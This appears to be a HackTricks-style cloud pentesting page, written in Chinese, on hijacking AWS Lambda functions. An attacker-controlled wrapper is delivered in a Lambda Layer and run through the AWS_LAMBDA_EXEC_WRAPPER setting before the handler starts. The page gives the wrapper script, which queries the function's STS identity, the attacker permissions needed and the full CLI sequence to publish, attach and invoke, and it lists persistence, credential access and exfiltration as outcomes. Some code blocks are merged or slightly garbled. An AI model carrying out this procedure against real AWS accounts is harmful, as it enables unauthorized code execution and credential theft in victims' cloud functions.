3.8 KiB
AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
摘要
滥用环境变量 AWS_LAMBDA_EXEC_WRAPPER 在 runtime/handler 启动之前执行攻击者控制的包装器脚本。通过在 Lambda Layer 中将包装器放置于 /opt/bin/htwrap,设置 AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap,然后调用函数来投递该包装器。该包装器在函数运行时进程内运行,继承函数执行角色,最后使用 exec 启动真实的 runtime,从而使原始 handler 仍可正常执行。
Warning
该技术可在目标 Lambda 中获得代码执行,且无需修改其源代码或角色,也不需要
iam:PassRole。你仅需能够更新函数配置并发布/附加一个 Layer。
所需权限(攻击者)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(或通过现有事件触发)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(同一账户),并可选lambda:AddLayerVersionPermission(如果使用跨账户/公共 Layer)
包装器脚本
将包装器放在 Layer 的 /opt/bin/htwrap。它可以运行 pre-handler 的逻辑,并且必须以 exec "$@" 结尾以链入真实的 runtime。
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
攻击步骤 (CLI)
发布 layer、附加到目标函数、设置 wrapper、调用
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<'WRAP' #!/bin/bash set -euo pipefail echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" python3 - <<'PY' import boto3, json print('[ht] sts identity:', import('json').dumps(import('boto3').client('sts').get_caller_identity())) PY exec "$@" WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
--layer-name ht-exec-wrapper
--zip-file fileb://htwrap-layer.zip
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
--function-name "$TARGET_FN"
--layers "$LAYER_ARN"
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}"
--region "$REGION"
Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
</details>
## 影响
- 在 Lambda runtime 上下文中,使用函数现有的 execution role 在 handler 运行之前执行代码。
- 无需更改函数代码或 role;适用于常见的 managed runtimes(Python、Node.js、Java、.NET)。
- 可实现 persistence、credential access(例如 STS)、data exfiltration 以及在 handler 运行前的 runtime tampering。
{{#include ../../../../banners/hacktricks-training.md}}